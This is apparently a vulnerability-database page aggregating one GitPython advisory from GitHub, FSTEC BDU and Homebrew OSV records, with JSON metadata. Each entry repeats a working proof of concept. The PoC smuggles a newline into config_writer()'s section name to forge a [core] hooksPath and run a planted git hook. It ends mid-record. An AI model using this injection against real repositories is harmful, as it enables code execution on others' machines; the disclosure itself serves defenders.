Action not permitted
Modal body text goes here.
Modal Title
Modal Body
GHSA-MV93-W799-CJ2W
Vulnerability from github – Published: 2026-05-08 23:19 – Updated: 2026-05-08 23:19Summary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.49"
},
"package": {
"ecosystem": "PyPI",
"name": "GitPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.50"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T23:19:02Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "GHSA-mv93-w799-cj2w",
"modified": "2026-05-08T23:19:02Z",
"published": "2026-05-08T23:19:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath"
}
BDU:2026-10854 (GHSA-MV93-W799-CJ2W)
Vulnerability from fstec – Published: 2026-07-31 – Updated: 2026-07-31 – View on bdu.fstec.ru Exploit publicly available Fixed- CWE-20 - Недостаточная проверка вводимых данных
{
"CVSS 2.0": "AV:L/AC:H/Au:N/C:C/I:C/A:C",
"CVSS 3.0": "AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"CVSS 4.0": null,
"remediation_\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": null,
"remediation_\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435": null,
"\u0412\u0435\u043d\u0434\u043e\u0440 \u041f\u041e": "\u041e\u041e\u041e \u00ab\u0420\u0435\u0434 \u0421\u043e\u0444\u0442\u00bb, \u0421\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
"\u0412\u0435\u0440\u0441\u0438\u044f \u041f\u041e": "7.3 (\u0420\u0415\u0414 \u041e\u0421), 8.0 (\u0420\u0415\u0414 \u041e\u0421), \u0434\u043e 3.1.50 (GitPython)",
"\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043c\u0435\u0440\u044b \u043f\u043e \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e": "\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0439:\n\u0414\u043b\u044f GitPython:\nhttps://github.com/advisories/GHSA-mv93-w799-cj2w\n\n\u0414\u043b\u044f \u0420\u0435\u0434 \u041e\u0421:\nhttps://redos.red-soft.ru/search/?iblock_id=24\u0026q=ghsa-mv93-w799-cj2w",
"\u0414\u0430\u0442\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f": "08.05.2026",
"\u0414\u0430\u0442\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0433\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f": "31.07.2026",
"\u0414\u0430\u0442\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438": "31.07.2026",
"\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440": "BDU:2026-10854",
"\u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0434\u0440\u0443\u0433\u0438\u0445 \u0441\u0438\u0441\u0442\u0435\u043c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "GHSA-mv93-w799-cj2w",
"\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430",
"\u041a\u043b\u0430\u0441\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u0434\u0430",
"\u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u041f\u041e": "\u0420\u0415\u0414 \u041e\u0421 (\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0435\u0434\u0438\u043d\u043e\u043c \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u21163751), GitPython",
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u041e\u0421 \u0438 \u0442\u0438\u043f \u0430\u043f\u043f\u0430\u0440\u0430\u0442\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b": "\u041e\u041e\u041e \u00ab\u0420\u0435\u0434 \u0421\u043e\u0444\u0442\u00bb \u0420\u0415\u0414 \u041e\u0421 7.3 (\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0435\u0434\u0438\u043d\u043e\u043c \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u21163751), \u041e\u041e\u041e \u00ab\u0420\u0435\u0434 \u0421\u043e\u0444\u0442\u00bb \u0420\u0415\u0414 \u041e\u0421 8.0 (\u0437\u0430\u043f\u0438\u0441\u044c \u0432 \u0435\u0434\u0438\u043d\u043e\u043c \u0440\u0435\u0435\u0441\u0442\u0440\u0435 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u21163751)",
"\u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u0430 config_writer() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Python \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u043c\u0438 GitPython, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434",
"\u041d\u0430\u043b\u0438\u0447\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430": "\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0435",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 (CWE-20)",
"\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0442\u043e\u0434\u0430 config_writer() \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 Python \u0434\u043b\u044f \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 git-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u043c\u0438 GitPython \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434",
"\u041f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": null,
"\u041f\u0440\u043e\u0447\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f": null,
"\u0421\u0432\u044f\u0437\u044c \u0441 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u043c\u0438 \u0418\u0411": "\u0414\u0430\u043d\u043d\u044b\u0435 \u0443\u0442\u043e\u0447\u043d\u044f\u044e\u0442\u0441\u044f",
"\u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f": "\u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f",
"\u0421\u043f\u043e\u0441\u043e\u0431 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438": "\u041c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c\u0438",
"\u0421\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438": "https://github.com/advisories/GHSA-mv93-w799-cj2w\nhttps://redos.red-soft.ru/search/?iblock_id=24\u0026q=ghsa-mv93-w799-cj2w",
"\u0421\u0442\u0430\u0442\u0443\u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0435\u043c",
"\u0422\u0438\u043f \u041f\u041e": "\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u0430, \u041f\u0440\u0438\u043a\u043b\u0430\u0434\u043d\u043e\u0435 \u041f\u041e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c",
"\u0422\u0438\u043f \u043e\u0448\u0438\u0431\u043a\u0438 CWE": "CWE-20",
"\u0423\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438": "\u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 2.0 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 6,2)\n\u0412\u044b\u0441\u043e\u043a\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043e\u0446\u0435\u043d\u043a\u0430 CVSS 3.1 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 7)"
}
BREW-AIDER-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-09-20 11:37 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.46",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "aider",
"purl": "pkg:brew/aider"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.46",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.46"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-aider-CVE-2026-67326",
"modified": "2026-09-20T11:37:04Z",
"published": "2026-08-13T16:35:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326",
"PYSEC-2026-3980"
]
}
BREW-APM-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:35 – Updated: 2026-09-10 18:52 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.62",
"upstream_fixed_in": "3.1.50"
},
"package": {
"ecosystem": "Homebrew",
"name": "apm",
"purl": "pkg:brew/apm"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.28.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.62",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.62"
}
]
},
"details": "Summary\n\nThe patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \\n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.\n\nDetails\n\nFile: git/config.py \u2014 GitPython 3.1.49 (latest patched version)\n\n```python\n def set_value(self, section: str, option: str, value) -\u003e \"GitConfigParser\":\n value_str = self._value_to_string_safe(value) # only value is validated\n if not self.has_section(section):\n self.add_section(section) # section not validated\n super().set(section, option, value_str) # option not validated\n return self\n```\n\n_write() formats section headers as \"[%s]\\n\" % name. When section = \"user]\\n[core\", this writes [user]\\n[core]\\n \u2014 two valid section headers \u2014 into .git/config.\n\nPoC\n\n```python\n import git, os, subprocess\n\n repo = git.Repo.init(\"/tmp/bypass_test\")\n\n os.makedirs(\"/tmp/evil_hooks\", exist_ok=True)\n with open(\"/tmp/evil_hooks/pre-commit\", \"w\") as f:\n f.write(\"#!/bin/sh\\nid \u003e /tmp/rce_proof.txt\\n\")\n os.chmod(\"/tmp/evil_hooks/pre-commit\", 0o755)\n\n # Inject newline into section parameter (not value \u2014 already patched)\n with repo.config_writer() as cw:\n cw.set_value(\"user]\\n[core\", \"hooksPath\", \"/tmp/evil_hooks\")\n\n r = subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"config\", \"core.hooksPath\"],\n capture_output=True, text=True)\n print(r.stdout.strip()) # \u2192 /tmp/evil_hooks\n\n subprocess.run([\"git\", \"-C\", \"/tmp/bypass_test\", \"commit\", \"--allow-empty\", \"-m\", \"x\"])\n print(open(\"/tmp/rce_proof.txt\").read()) # \u2192 uid=1000(...) RCE confirmed\n```\n\nImpact\n\nSame attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete \u2014 only value is validated while section and option remain injectable.",
"id": "BREW-apm-CVE-2026-67326",
"modified": "2026-09-10T18:52:52Z",
"published": "2026-08-13T16:35:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-mv93-w799-cj2w"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-rpm5-65cw-6hj4"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath",
"upstream": [
"GHSA-mv93-w799-cj2w",
"CVE-2026-67326"
]
}
BREW-BTCLI-CVE-2026-67326 (GHSA-MV93-W799-CJ2W)
Vulnerability from osv_homebrew – Published: 2026-08-13 16:38 – Updated: 2026-09-20 10:29 – Source websiteSummary
The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered.
Details
File: git/config.py — GitPython 3.1.49 (latest patched version)
def set_value(self, section: str, option: str, value) -> "GitConfigParser":
value_str = self._value_to_string_safe(value) # only value is validated
if not self.has_section(section):
self.add_section(section) # section not validated
super().set(section, option, value_str) # option not validated
return self
_write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config.
PoC
import git, os, subprocess
repo = git.Repo.init("/tmp/bypass_test")
os.makedirs("/tmp/evil_hooks", exist_ok=True)
with open("/tmp/evil_hooks/pre-commit", "w") as f:
f.write("#!/bin/sh\nid > /tmp/rce_proof.txt\n")
os.chmod("/tmp/evil_hooks/pre-commit", 0o755)
# Inject newline into section parameter (not value — already patched)
with repo.config_writer() as cw:
cw.set_value("user]\n[core", "hooksPath", "/tmp/evil_hooks")
r = subprocess.run(["git", "-C", "/tmp/bypass_test", "config", "core.hooksPath"],
capture_output=True, text=True)
print(r.stdout.strip()) # → /tmp/evil_hooks
subprocess.run(["git", "-C", "/tmp/bypass_test", "commit", "--allow-empty", "-m", "x"])
print(open("/tmp/rce_proof.txt").read()) # → uid=1000(...) RCE confirmed
Impact
Same attack outcome as CVE-2026-42215 (RCE via core.hooksPath injection). The patch is incomplete — only value is validated while section and option remain injectable.
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
